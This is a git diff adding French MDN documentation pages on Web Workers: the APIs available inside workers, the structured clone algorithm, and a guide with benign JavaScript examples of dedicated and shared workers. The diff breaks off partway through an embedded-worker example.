- - diff --git a/files/fr/web/api/web_workers_api/functions_and_classes_available_to_workers/index.html b/files/fr/web/api/web_workers_api/functions_and_classes_available_to_workers/index.html new file mode 100644 index 0000000000..379f86edd6 --- /dev/null +++ b/files/fr/web/api/web_workers_api/functions_and_classes_available_to_workers/index.html @@ -0,0 +1,240 @@ +--- +title: Fonctions et classes disponibles dans les Web Workers +slug: Web/API/Worker/Functions_and_classes_available_to_workers +translation_of: Web/API/Web_Workers_API/Functions_and_classes_available_to_workers +--- +

En plus de l'ensemble des fonctions standard JavaScript (telles que {{jsxref("Global_Objects/String", "String")}}, {{jsxref("Global_Objects/Array", "Array")}}, {{jsxref("Global_Objects/Object", "Object")}}, {{jsxref("Global_Objects/JSON", "JSON")}} etc), des fonctions du DOM restent disponibles pour les workers. Cet article en fournit la liste.

+ +

Les workers s'exécutent dans un contexte global, {{domxref("DedicatedWorkerGlobalScope")}} différent du contexte de la fenêtre courante. Par défaut les méthodes et propriétés de {{domxref("Window")}} ne leur sont pas disponibles, mais {{domxref("DedicatedWorkerGlobalScope")}}, comme Window, implémente {{domxref("WindowTimers")}} et {{domxref("WindowBase64")}}.

+ +

Comparaison des propriétés et méthodes des différents types de workers

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FonctionsWorkers dédiésWorkers partagésService workersChrome workers {{Non-standard_inline}}En dehors des  workers
{{domxref("WindowBase64.atob", "atob()")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("Window")}}
{{domxref("WindowBase64.btoa", "btoa()")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("Window")}}
{{domxref("WindowTimers.clearInterval", "clearInterval()")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("Window")}}
{{domxref("WindowTimers.clearTimeout", "clearTimeout()")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("Window")}}
{{domxref("Window.dump()", "dump()")}} {{non-standard_inline}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("Window")}}
{{domxref("WindowTimers.setInterval", "setInterval()")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("Window")}}
{{domxref("WindowTimers.setTimeout", "setTimeout()")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("Window")}}
{{domxref("WorkerGlobalScope.importScripts", "importScripts()")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("WorkerGlobalScope")}}non
{{domxref("WorkerGlobalScope.close", "close()")}} {{non-standard_inline}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, mais sans effetInconnunon
{{domxref("DedicatedWorkerGlobalScope.postMessage", "postMessage()")}}oui, sur {{domxref("DedicatedWorkerGlobalScope")}}nonnonInconnunon
+ +

APIs disponibles dans les workers

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FonctionFonctionnalitéSupport dans Gecko (Firefox)Support dans IESupport dans Blink (Chrome et Opera)Support dans WebKit (Safari)
XMLHttpRequestCrée et retourne un nouvel objet {{domxref("XMLHttpRequest")}}; il imite le comportement du constructeur standard XMLHttpRequest(). Remarquez que les attributs responseXML et channel de XMLHttpRequest retourne toujours null. +

Basique : {{CompatGeckoDesktop("1.9.1")}}

+ +

{{domxref("XMLHttpRequest.response", "response")}} et {{domxref("XMLHttpRequest.responseType", "responseType")}} sont disponibles depuis {{CompatGeckoDesktop("10")}}

+ +

{{domxref("XMLHttpRequest.timeout", "timeout")}} et {{domxref("XMLHttpRequest.ontimeout", "ontimeout")}} sont disponibles depuis {{CompatGeckoDesktop("13")}}

+ 		{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
WorkerCrée un nouveau {{ domxref("Worker") }}. Oui, les workers peuvent engendrer des workers supplémentaires.{{CompatGeckoDesktop("1.9.1")}}10.0{{CompatNo}} Voir crbug.com/31666{{CompatNo}}
{{ domxref("URL") }}Les workers peuvent utiliser les méthodes statiques URL.createObjectURL et URL.revokeObjectURL avec les objets {{domxref("Blob")}} accessibles au worker.
+ Les workers peuvent aussi créer une nouvelle URL en utilisant le constructeur {{domxref("URL.URL", "URL()")}} et appeler n'importe quelle méthode normale sur l'objet retourné.		{{CompatGeckoDesktop(21)}} et {{CompatGeckoDesktop(26)}} pour le constructeur URL(){{CompatNo}}{{CompatNo}}{{CompatNo}}
{{domxref("TextEncoder")}} and {{domxref("TextDecoder")}}Crée et retourne un nouveau {{domxref("TextEncoder")}}, ou respectivement {{domxref("TextDecoder")}}, permettant d'encoder ou de décoder des chaînes de caractère dans un encodage spécifique.{{CompatGeckoDesktop(20)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
{{domxref("WorkerNavigator")}}Le sous-ensemble de l'interface {{domxref("Navigator")}} disponible aux workers.Implémentation basique {{CompatVersionUnknown}}
+ {{domxref("NavigatorID.appCodeName", "appCodeName")}}, {{domxref("NavigatorID.product", "product")}}, {{domxref("NavigatorID.taintEnabled", "taintEnabled()")}}: {{CompatGeckoDesktop(28)}}
+ {{domxref("WorkerNavigator.onLine", "onLine")}}: {{CompatGeckoDesktop(29)}}
+ {{domxref("NavigatorLanguage")}}: {{CompatNo}}		{{domxref("NavigatorID.appName", "appName")}}, {{domxref("NavigatorID.appVersion", "appName")}}, {{domxref("WorkerNavigator.onLine", "onLine")}}, {{domxref("NavigatorID.platform", "platform")}}, {{domxref("NavigatorID.userAgent", "userAgent")}}: 10.0
+ Autre : {{CompatNo}}		{{CompatVersionUnknown}}{{CompatVersionUnknown}}
{{domxref("WorkerLocation")}}Le sous-ensemble de l'interface {{domxref("Location")}} disponible aux workers.{{CompatGeckoDesktop(1.9.2)}}10.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}
{{domxref("WorkerGlobalScope")}}Le contexte global des workers. Cet objet définit les fonctions spécifiques aux workers.{{CompatVersionUnknown}}10.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}
{{domxref("ImageData")}}Les données en pixels sous-jacentes à une zone d'un élément {{domxref("canvas")}}. Manipuler de telles données peut être une tâche complexe qu'il est plus approprié de déléguer à un web worker.{{CompatGeckoDesktop(25)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
{{domxref("FileReaderSync")}}Cette API permet la lecture synchrone d'objets {{domxref("Blob")}} et {{domxref("File")}}. C'est une API qui fonctionne uniquement au sein des workers.{{CompatGeckoDesktop(8)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
{{domxref("IndexedDB_API", "IndexedDB")}}Une base de données pour stocker des enregistrements contenant des valeurs simples et des objets hiérarchiques.{{CompatGeckoDesktop(37)}}10.0{{CompatVersionUnknown}}{{CompatNo}}
{{domxref("WebSocket")}}Crée et retourne un nouvel objet {{domxref("WebSocket")}}; Il imite le comportement d'un constructeur WebSocket() standard.{{CompatGeckoDesktop(36)}}11.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}
Data Store APIUn mécanisme de stockage puissant et flexible pour de multiples applications Firefox OS qui ont l'habitude de stocker et d'échanger des données entre elles de manière rapide, efficace et sécurisée.Seulement dans les applications internes (certifiées) de Firefox OS, deuis v1.0.1.{{CompatNo}}{{CompatNo}}{{CompatNo}}
PromisesLes objets JavaScript qui vous permettent d'écrire des fonctions asynchrones.{{CompatGeckoDesktop(28)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+ +

Voir aussi

+ + diff --git a/files/fr/web/api/web_workers_api/structured_clone_algorithm/index.html b/files/fr/web/api/web_workers_api/structured_clone_algorithm/index.html new file mode 100644 index 0000000000..dfb8c20bf9 --- /dev/null +++ b/files/fr/web/api/web_workers_api/structured_clone_algorithm/index.html @@ -0,0 +1,153 @@ +--- +title: L’algorithme de clonage structuré +slug: Web/API/Web_Workers_API/algorithme_clonage_structure +translation_of: Web/API/Web_Workers_API/Structured_clone_algorithm +--- +

L’algorithme de clonage structuré est un nouvel algorithme défini par la spécification HTML5 pour sérialiser les objets JavaScript complexes. Il est plus puissant que JSON en cela qu’il supporte la sérialisation d’objets contenant des graphes cycliques — des objets peuvent faire référence à des objets faisant référence à d’autres objets dans le même graphe. De plus, dans certains cas, l’algorithme de clonage structuré peut être plus efficace que JSON.

+ +

L’algorithme, essentiellement, parcourt tous les champs de l’objet original, copiant les valeurs de chaque champ dans un nouvel objet. Si un champ est lui-même un objet avec des champs, ces champs sont parcourus de manière récursive jusqu’à ce que chaque champ et sous-champ aient été copié dans le nouvel objet.

+ +

Avantages par rapport à JSON

+ +

Il y a quelques avantages notables à utiliser l’algorithme de clonage structuré plutôt que JSON :

+ +
    +
  • Le clonage structuré peut copier des objets RegExp.
    • +
  • Le clonage structuré peut copier des objets {{ domxref("Blob") }}, {{ domxref("File") }} et {{ domxref("FileList") }}.
    • +
  • Le clonage structuré peut copier des objets {{ domxref("ImageData") }}. Les dimensions du {{ domxref("CanvasPixelArray") }} du clone correspondront à celles de l’original, et il recevra une copie des mêmes données de pixels.
    • +
  • Le clonage structuré copie correctement les objets contenant des graphes de références cycliques.
    • +
+ +

Ce qui ne marche pas avec le clonage structuré

+ +
    +
  • Les objets Error et Function ne peuvent pas être copiés par l’algorithme de clonage structuré ; toute tentative de le faire émettra une exception DATA_CLONE_ERR.
    • +
  • De la même manière, toute tentative de cloner des nœuds DOM émettra une exception DATA_CLONE_ERR.
    • +
  • Certains paramètres d’objets ne sont pas préservés : +
      +
    • Le champ lastIndex des objets RegExp n’est pas préservé.
      • +
    • Les descripteurs de propriétés, accesseurs et mutateurs (ainsi que les fonctionnalités de métadonnées similaires) ne sont pas copiés. Par exemple, si un objet est marqué en lecture seule via un descripteur de propriété, il sera en lecture et écriture dans le clone, car c’est la condition par défaut.
      • +
    • La chaîne de prototypes n’est ni parcourue, ni copiée.
      • +
    +
    • +
+ +

Types supportés

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Type d’objetNotes
Tous types primitifsÀ l’exception des symboles
Objet Booléen 
Objet String 
Date 
RegExpLe champ lastIndex n’est pas préservé
{{ domxref("Blob") }} 
{{ domxref("File") }} 
{{ domxref("FileList") }} 
ArrayBuffer 
ArrayBufferViewCe qui implique tous les tableaux typés tels que Int32Array, etc.
{{ domxref("ImageData") }} 
Array 
ObjectInclut seulement les objets plats (par ex. depuis un objet littéral)
Map 
Set 
+ +

Alternative : copie profonde

+ +

Si vous voulez une copie profonde d’un objet (c’est-à-dire une copie récursive de toutes les propriétés imbriquées, en parcourant la chaîne des prototypes), vous devez employer une autre approche. Ce qui suit est un exemple possible.

+ +
function clone(objectToBeCloned) {
+  // Cas basique.
+  if (!(objectToBeCloned instanceof Object)) {
+    return objectToBeCloned;
+  }
+
+  var objectClone;
+
+  // Filtre les objets spéciaux.
+  var Constructor = objectToBeCloned.constructor;
+  switch (Constructor) {
+    // Implémenter d’autres objets spéciaux ici.
+    case RegExp:
+      objectClone = new Constructor(objectToBeCloned);
+      break;
+    case Date:
+      objectClone = new Constructor(objectToBeCloned.getTime());
+      break;
+    default:
+      objectClone = new Constructor();
+  }
+
+  // Clone chaque propriété.
+  for (var prop in objectToBeCloned) {
+    objectClone[prop] = clone(objectToBeCloned[prop]);
+  }
+
+  return objectClone;
+}
+
+ +
  Note : Cet algorithme ne prend en charge que les objets spéciaux RegExp, Array et Date. Vous pouvez implémenter d’autres cas spéciaux selon vos besoins.
+ +

Voir aussi

+ + diff --git a/files/fr/web/api/web_workers_api/using_web_workers/index.html b/files/fr/web/api/web_workers_api/using_web_workers/index.html new file mode 100644 index 0000000000..b1330f34bf --- /dev/null +++ b/files/fr/web/api/web_workers_api/using_web_workers/index.html @@ -0,0 +1,633 @@ +--- +title: Utilisation des web workers +slug: Web/API/Web_Workers_API/Utilisation_des_web_workers +tags: + - Avancé + - Guide + - JavaScript + - Web Workers +translation_of: Web/API/Web_Workers_API/Using_web_workers +--- +
{{DefaultAPISidebar("Web Workers API")}}
+ +

Les Web Workers sont un outil permettant au contenu web d'exécuter des scripts dans des tâches (threads) d'arrière-plan. Le thread associé au worker peut réaliser des tâches sans qu'il y ait d'interférence avec l'interface utilisateur. De plus, les web workers peuvent réaliser des opérations d'entrée/sortie grâce à XMLHttpRequest (bien que les attributs responseXML et channel soient nécessairement vides dans ces cas). Une fois créé, un worker peut envoyer des messages au code JavaScript qui l'a créé. De même, le script initial peut envoyer des messages au worker. Cette communication s'effectue grâce à des gestionnaires d'évènements. Dans cet article, nous verrons une introduction à l'utilisation des web workers.

+ +

L'API Web Workers

+ +

Un worker est un objet créé à l'aide d'un constructeur (par exemple {{domxref("Worker.Worker", "Worker()")}}) et qui exécute un fichier JavaScript donné. Ce fichier contient le code qui sera exécuté par le thread du worker. Les workers sont exécutés dans un contexte global qui n'est pas celui du document (généralement {{domxref("window")}}). Aussi, si, dans un worker, on utilise {{domxref("window")}} pour accéder à la portée globale (plutôt que {{domxref("window.self","self")}}), cela provoquera une erreur.

+ +

Le contexte du worker est représenté par un objet {{domxref("DedicatedWorkerGlobalScope")}} pour les workers dédiés et par un objet {{domxref("SharedWorkerGlobalScope")}} sinon. Un worker dédié est uniquement accessible au travers du script qui l'a déclenché tandis qu'un worker partagé peut être utilisé par différents scripts.

+ +
+

Note : Voir la page d'entrée pour l'API Web Workers pour consulter la documentation de référence sur les workers et d'autres guides.

+
+ +

Il est possible d'exécuter n'importe quel code JavaScript dans le thread du worker, à l'exception des méthodes de manipulation du DOM ou de certaines propriétés et méthodes rattachées à {{domxref("window")}}. On notera cependant qu'on peut tout à fait utiliser certaines API rendues disponibles via window comme les WebSockets, les API de stockage de données telles que IndexedDB. Pour plus de détails, voir les fonctions et classes disponibles au sein des workers.

+ +

Les données sont échangées entre le thread du worker et le thread principal par l'intermédiaire de messages. Chaque partie peut envoyer des messages à l'aide de la méthode postMessage() et réagir aux messages reçus grâce au gestionnaire d'évènement onmessage (le message sera contenu dans l'attribut data de l'évènement {{event("Message")}} associé). Les données sont copiées dans le message, elles ne sont pas partagées.

+ +

Les workers peuvent également déclencher la création d'autres workers tant que ceux-ci restent hébergés sur la même origine que la page parente. De plus, les workers pourront utiliser XMLHttpRequest pour effectuer des opérations réseau mais les attributs responseXML et channel de XMLHttpRequest renverront nécessairement null.

+ +

Les workers dédiés

+ +

Comme indiqué plus haut, un worker dédié n'est accessible qu'au travers du script qui l'a initié. Dans cette section, nous étudierons le code JavaScript de notre exemple de worker dédié simple. Dans cet exemple, nous souhaitons multiplier deux nombres. Ces nombres sont envoyés à un worker dédié puis le résultat est renvoyé à la page et affiché.

+ +

Cet exemple est assez simple mais permet d'introduire les concepts de base autour des workers. Nous verrons certains détails plus avancés dans la suite de cet article.

+ +

Détecter la possibilité d'utiliser les workers

+ +

Afin de gérer une meilleure amélioration progressive, une rétro-compatibilité et de présenter des messages d'erreur adéquats, il pourra être utile d'envelopper le code relatif au worker de la façon suivante (main.js) :

+ +
if (window.Worker) {
+  ...
+}
+ +

Initier un worker dédié

+ +

La création d'un nouveau worker est assez simple. On appellera le constructeur {{domxref("Worker.Worker", "Worker()")}} en indiquant l'URI du script à exécuter dans le thread associé au worker (main.js) :

+ +
+
var monWorker = new Worker('worker.js');
+
+
+ +

Envoyer des messages au worker et y réagir

+ +

L'intérêt principal des workers repose sur l'échange de messages à l'aide de la méthode {{domxref("Worker.postMessage", "postMessage()")}} et grâce au gestionnaire d'évènement {{domxref("Worker.onmessage", "onmessage")}}. Lorsqu'on souhaite envoyer un message au worker, on enverra des messages de la façon suivante (main.js) :

+ +
premierNombre.onchange = function() {
+  monWorker.postMessage([premierNombre.value, deuxiemeNombre.value]);
+  console.log('Message envoyé au worker');
+}
+
+deuxiemeNombre.onchange = function() {
+  monWorker.postMessage([premierNombre.value, deuxiemeNombre.value]);
+  console.log('Message envoyé au worker');
+}
+ +

Ici, nous disposons de deux éléments {{htmlelement("input")}} représentés par les variables premierNombre et deuxiemeNombre. Lorsque l'un de ces deux champs est modifié, on utilise monWorker.postMessage([premierNombre.value, deuxiemeNombre.value]) afin d'envoyer les deux valeurs au worker dans un tableau. Les messages peuvent être utilisés pour échanger n'importe quel type de valeur.

+ +

Dans le worker, on peut réagir au message reçu grâce à un gestionnaire d'évènement comme celui-ci (worker.js) :

+ +
onmessage = function(e) {
+  console.log('Message reçu depuis le script principal.');
+  var workerResult = 'Résultat : ' + (e.data[0] * e.data[1]);
+  console.log('Envoi du message de retour au script principal');
+  postMessage(workerResult);
+}
+ +

Le gestionnaire onmessage permet d'exécuter du code lorsqu'un message est reçu. Le message même est disponible grâce à l'attribut data de l'évènement. Dans cet exemple, nous multiplions simplement les deux nombres avant d'utiliser postMessage() à nouveau afin d'envoyer le résultat via un message destiné au thread principal.

+ +

De retour dans le thread principal, nous pouvons utiliser onmessage à nouveau pour réagir à la réponse provenant du worker :

+ +
monWorker.onmessage = function(e) {
+  resultat.textContent = e.data;
+  console.log('Message reçu depuis le worker');
+}
+ +

Ici, nous récupérons les données grâce à l'attribut data de l'évènement et nous mettons à jour le contenu du paragraphe avec l'attribut textContent de l'élément. Ainsi, l'utilisateur peut visualiser le résultat du calcul.

+ +
Note : On notera que onmessage et postMessage() doivent être rattachés à un objet Worker lorsqu'ils sont utilisés depuis le thread principal (ici, c'était monWorker) mais pas lorsqu'ils sont employés depuis le worker. En effet, dans le worker, c'est le worker qui constitue la portée globale et qui met à disposition ces méthodes.
+ +
Note : Lorsqu'un message est envoyé d'un thread à l'autre, ses données sont copiées. Elles ne sont pas partagées. Voir ci-après pour plus d'explications à ce sujet.
+ +

Clôturer un worker

+ +

Si on doit arrêter un worker immédiatement, on pourra utiliser la méthode {{domxref("Worker", "terminate")}} depuis le thread principal :

+ +
monWorker.terminate();
+ +

Lorsque cette méthode exécuté, le thread associé au worker est tué immédiatement.

+ +

Gérer les erreurs

+ +

Lorsqu'une erreur d'exécution se produit avec le worker, son gestionnaire d'évènement onerror est appelé et reçoit un évènement error qui implémente l'interface ErrorEvent.

+ +

Cet évènement ne bouillonne (bubble) pas et peut être annulé. Pour empêcher les conséquences par défaut, on pourra utiliser la méthode preventDefault() rattachée à l'évènement d'erreur.

+ +

L'évènement décrivant l'erreur possède notamment trois propriétés intéressantes :

+ +
+
message
+
Un message d'erreur compréhensible par un humain.
+
filename
+
Le nom du fichier pour lequel l'erreur s'est produite.
+
lineno
+
Le numéro de ligne au sein du fichier responsable de l'erreur.
+
+ +

Initier des workers fils

+ +

Les workers peuvent également engendrer d'autres workers. Ces workers-fils doivent être hébergés sur la même origine que la page initiale. De plus, les URI des workers-fils sont résolues relativement à l'emplacement du worker père (plutôt que par rapport à la page parente). Ces contraintes permettent de simplifier le suivi des dépendances.

+ +

Importer des scripts et des bibliothèques

+ +

Les threads d'exécution des workers peuvent accéder à la fonction globale importScripts(), qui leur permet d'importer des scripts. Cette fonction prend zéro à plusieurs URL en paramètres et importe les ressources associées. Voici quelques exemples valides :

+ +
importScripts();                         /* n'importe rien */
+importScripts('toto.js');                /* importe uniquement "toto.js" */
+importScripts('toto.js', 'truc.js');     /* importe deux scripts */
+importScripts('//example.com/hello.js'); /* importe un script d'une autre origine */
+ +

Lors d'un import, le navigateur chargera chacun des scripts puis l'exécutera. Chaque script pourra ainsi mettre à disposition des objets globaux qui pourront être utilisés par le worker. Si le script ne peut pas être chargé, une exception NETWORK_ERROR sera levée et le code assicé ne sera pas exécuté. Le code exécuté précédemment (y compris celui-ci reporté à l'aide de {{domxref("window.setTimeout()")}}) continuera cependant d'être fonctionnel. Les déclarations de fonction situées après importScripts() sont également exécutées car évaluées avant le reste du code.

+ +
Note : Les scripts peuvent être téléchargés dans n'importe quel ordre mais ils seront exécutés dans l'ordre des arguments passés à importScripts() . Cet exécution est effectuée de façon synchrone et importScripts() ne rendra pas la main tant que l'ensemble des scripts n'auront pas été chargés et exécutés.
+ +

Les workers partagés

+ +

Un worker partagé est accessible par plusieurs scripts (même si ceux-ci proviennent de différentes fenêtres, iframes voire d'autres workers). Dans cette section, nous illustrerons les concepts à l'aide de l'exemple simple d'un worker partagé. Cet exemple est semblable à l'exemple utilisé pour le worker dédié. Il diffère car il possède deux fonctions, gérées par deux fichiers de script distincts : une fonction permettant de multiplier deux nombres et une fonction permettant d'élever un nombre au carré. Les deux scripts utilisent le même worker pour réaliser le calcul demandé.

+ +

Ici, nous nous intéresserons particulièrement aux différences entre les workers dédiés et les workers partagés. Dans cet exemple, nous aurons deux pages HTML, chacune utilisant du code JavaScript employant le même worker.

+ +
+

Note : Si on peut accéder à un worker partagé depuis différents contextes de navigations, ces contextes de navigation doivent néanmoins partager la même origine (même protocole, même hôte, même port).

+
+ +
+

Note : Dans Firefox, les workers partagés ne peuvent pas être partagés entre les documents chargés en navigation privée et les documents chargés en navigation classique ({{bug(1177621)}}).

+
+ +

Initier un worker partagé

+ +

La création d'un nouveau worker partagé est assez semblable à la création d'un worker dédié. On utilise alors un constructeur différent :

+ +
var monWorker = new SharedWorker('worker.js');
+ +

Une différence fondamentale avec les workers dédiés est l'utilisation d'un objet port pour la communication. Un port sera explicitement ouvert pour être utilisé afin de communiquer avec le worker (dans le cas des workers dédiés, ce port est ouvert implicitement).

+ +

La connexion au port doit être démarrée implicitement avec l'utilisation du gestionnaire d'évènement onmessage ou explicitement avec la méthode start() avant qu'un message soit envoyé. On utilisera uniquement start() si l'évènement message est détecté avec la méthode addEventListener().

+ +
+

Note : Lorsqu'on utilise la méthode start() afin d'ouvrir le port de connexion, celle-ci doit être appelée de part et d'autre (depuis le thread parent et depuis le worker) si on souhaite disposer d'une connexion bidirectionnelle.

+
+ +

Échanger des messages avec un worker partagé et y réagir

+ +

On peut alors envoyer des messages au worker. Dans le cas d'un worker partagé, la méthode postMessage() doit être appelée via l'objet port (là aussi, vous pouvez étudier le code de multiply.js et square.js) :

+ +
carreNombre.onchange = function() {
+  monWorker.port.postMessage([carreNombre.value, carreNombre.value]);
+  console.log('Message envoyé au worker');
+}
+ +

Du côté du worker, les choses sont également légèrement plus compliquées (voir worker.js) :

+ +
onconnect = function(e) {
+  var port = e.ports[0];
+
+  port.onmessage = function(e) {
+    var workerResult = 'Résultat : ' + (e.data[0] * e.data[1]);
+    port.postMessage(workerResult);
+  }
+}
+ +

On commence par utiliser le gestionnaire onconnect afin de déclencher du code à la connexion au port (c'est-à-dire lorsque le gestionnaire onmessage est déclaré depuis le thread parent ou lorsque la méthode start() est invoquée explicitement depuis le thread parent).

+ +

On utilise l'attribut ports de l'évènement afin de récupérer le port utilisé et on le place dans une variable.

+ +

Ensuite, sur ce port, on ajoute un gestionnaire d'évènement pour l'évènement message afin de faire les calculs et de renvoyer le résultat au thread principal. En définissant ce gestionnaire pour message dans le thread du worker, on ouvre implicitement le port pour la connexion au thread parent : il n'est donc pas nécessaire d'invoquer port.start().

+ +

Enfin, dans le script de la page, on gère le message du résultat (voir multiply.js et square.js):

+ +
monWorker.port.onmessage = function(e) {
+  result2.textContent = e.data;
+  console.log('Message reçu depuis le worker');
+}
+ +

Lorsqu'un message provient du port associé au worker, on vérifie son type puis on insère le résultat dans le paragraphe associé.

+ +

Sûreté des threads

+ +

L'interface {{domxref("Worker")}} engendre des threads au sens du système d'exploitation. Certains développeurs avertis pourront se demander si cette communication à base de threads ne peut pas générer d'effets indésirables tels que des situations de compétition (race conditions).

+ +

Toutefois, la communication entre les web workers est contrôlée explicitement dans les scripts et il n'y a pas d'accès aux composants ou au DOM qui ne seraient pas sûrs à ce niveau. De plus, la communication entre les threads s'effectue par recopie de données. Aussi, s'il n'est théoriquement pas impossible de ne pas avoir de tels problèmes, il faudrait les chercher pour les provoquer.

+ +

Règles de sécurité du contenu (content security policy, CSP)

+ +

Les workers disposent de leur propre contexte d'exécution, distinct de celui du document qui les a créés. Aussi, en général, les workers ne sont pas gérés par la politique de sécurité de contenu du document (ou du worker parent) responsable de leur création. Ainsi, si un document est servi avec l'en-tête suivant :

+ +
Content-Security-Policy: script-src 'self'
+ +
Cette règle empêchera n'importe quel script inclus dans le document d'utiliser eval(). Toutefois, si le script génère un worker, le code exécuté par ce worker pourra utiliser eval().
+
+Pour appliquer une règle de sécurité au worker, il faudra fournir un en-tête Content-Security-Policy approprié pour la requête responsable du service du script du worker.
+
+Si l'origine du script du worker est un identifiant global unique (si son URL utilise le schéma data:// ou blob:// par exemple), le worker héritera du CSP associé au document responsable de sa création.
+ +
+ +

Échanger des données avec les workers : plus de détails

+ +

Les données échangées entre le document principal et les workers sont copiées et non partagées. Lorsqu'ils sont envoyés au worker, les objets sont sérialisés (puis désérialisés à leur réception). La page et le worker ne partagent pas le même exemplaire et on a donc deux versions d'une part et d'autre. La plupart des navigateurs implémentent cette approche avec une clonage structurel.

+ +

Pour illustrer ce point, on prendra une fonction intitulée emulateMessage() et qui simule le comportement d'une valeur clonée (pas partagée) avec un worker attaché à la page principale et réciproquement :

+ +
function emulateMessage(vVal) {
+    return eval('(' + JSON.stringify(vVal) + ')');
+}
+
+// Tests
+
+// test #1
+var example1 = new Number(3);
+console.log(typeof example1); // object
+console.log(typeof emulateMessage(example1)); // number
+
+// test #2
+var example2 = true;
+console.log(typeof example2); // boolean
+console.log(typeof emulateMessage(example2)); // boolean
+
+// test #3
+var example3 = new String('Hello World');
+console.log(typeof example3); // object
+console.log(typeof emulateMessage(example3)); // string
+
+// test #4
+var example4 = {
+    'name': 'John Smith',
+    "age": 43
+};
+console.log(typeof example4); // object
+console.log(typeof emulateMessage(example4)); // object
+
+// test #5
+function Animal(sType, nAge) {
+    this.type = sType;
+    this.age = nAge;
+}
+var example5 = new Animal('Cat', 3);
+console.log(example5.constructor); // Animal
+console.log(emulateMessage(example5).constructor); // Object
+ +

Une valeur qui est clonée et non partagée est appelée un message. Les messages peuvent être envoyés et reçus grâce à postMessage() et au gestionnaire d'évènement pour message (dont l'attribut {{domxref("MessageEvent.data", "data")}} contiendra les données copiées).

+ +

example.html (page principale) :

+ +
var myWorker = new Worker('my_task.js');
+
+myWorker.onmessage = function(oEvent) {
+  console.log('Worker said : ' + oEvent.data);
+};
+
+myWorker.postMessage('ali');
+ +

my_task.js (le code du worker) :

+ +
postMessage("I\'m working before postMessage(\'ali\').");
+
+onmessage = function(oEvent) {
+  postMessage('Hi ' + oEvent.data);
+};
+ +

L'algorithme de clonage structurel permet de sérialiser aussi bien des données JSON que d'autres formats et permet notamment de gérer les références circulaires (ce que JSON ne permet pas de gérer nativement).

+ +

Les objets transférables - échanger des données avec transfert de la propriété

+ +

Chrome 17+ et Firefox 18+ permettent également d'échanger certains types d'objet (qualifiés de transférables et qui implémentent l'interface {{domxref("Transferable")}}) avec des workers et à haute performance. Les objets transférables sont passés d'un contexte à l'autre avec une opération zero-copy qui permet d'obtenir des améliorations sensibles lors de l'échange de données volumineuses. On peut voir cela comme un passage de référence du monde C/C++ mais les données qui sont transférées depuis le contexte appelant ne sont plus disponibles dans ce contexte après le transfert. La propriété des données est transférée au nouveau contexte. Ainsi, lorsqu'on transfère un objet {{domxref("ArrayBuffer")}} depuis l'application principale vers le worker, l'objet {{domxref("ArrayBuffer")}} de départ est nettoyé et ne peut plus être utilisé, son contenu est (littéralement) transféré au contexte du worker.

+ +
// Créer un fichier de 32MB et le remplir.
+var uInt8Array = new Uint8Array(1024 * 1024 * 32); // 32MB
+for (var i = 0; i < uInt8Array.length; ++i) {
+  uInt8Array[i] = i;
+}
+
+worker.postMessage(uInt8Array.buffer, [uInt8Array.buffer]);
+
+ +
+

Note : Pour plus d'informations quant aux objets transférables, aux performances associées et à la détection de ces fonctionnalités, on pourra lire Transferable Objects: Lightning Fast.

+
+ +

Workers embarqués

+ +

Il n'existe pas de méthode standard pour embarquer le code d'un worker dans une page web à la façon des éléments {{HTMLElement("script")}}. Toutefois, un élément {{HTMLElement("script")}}, qui ne possède pas d'attribut src, qui possède un attribut type ne correspondant pas à un type MIME exécutable pourra être considéré comme un bloc de données pouvant être utilisé par JavaScript. Ces blocs de données sont une fonctionnalité HTML5 qui permet de transporter n'importe quelle donnée textuelle. On pourrait donc embarquer un worker de cette façon :

+ +
<!DOCTYPE html>
+<html>
+<head>
+<meta charset="UTF-8" />
+<title>Exemple MDN - Worker embarqué</title>
+<script type="text/js-worker">
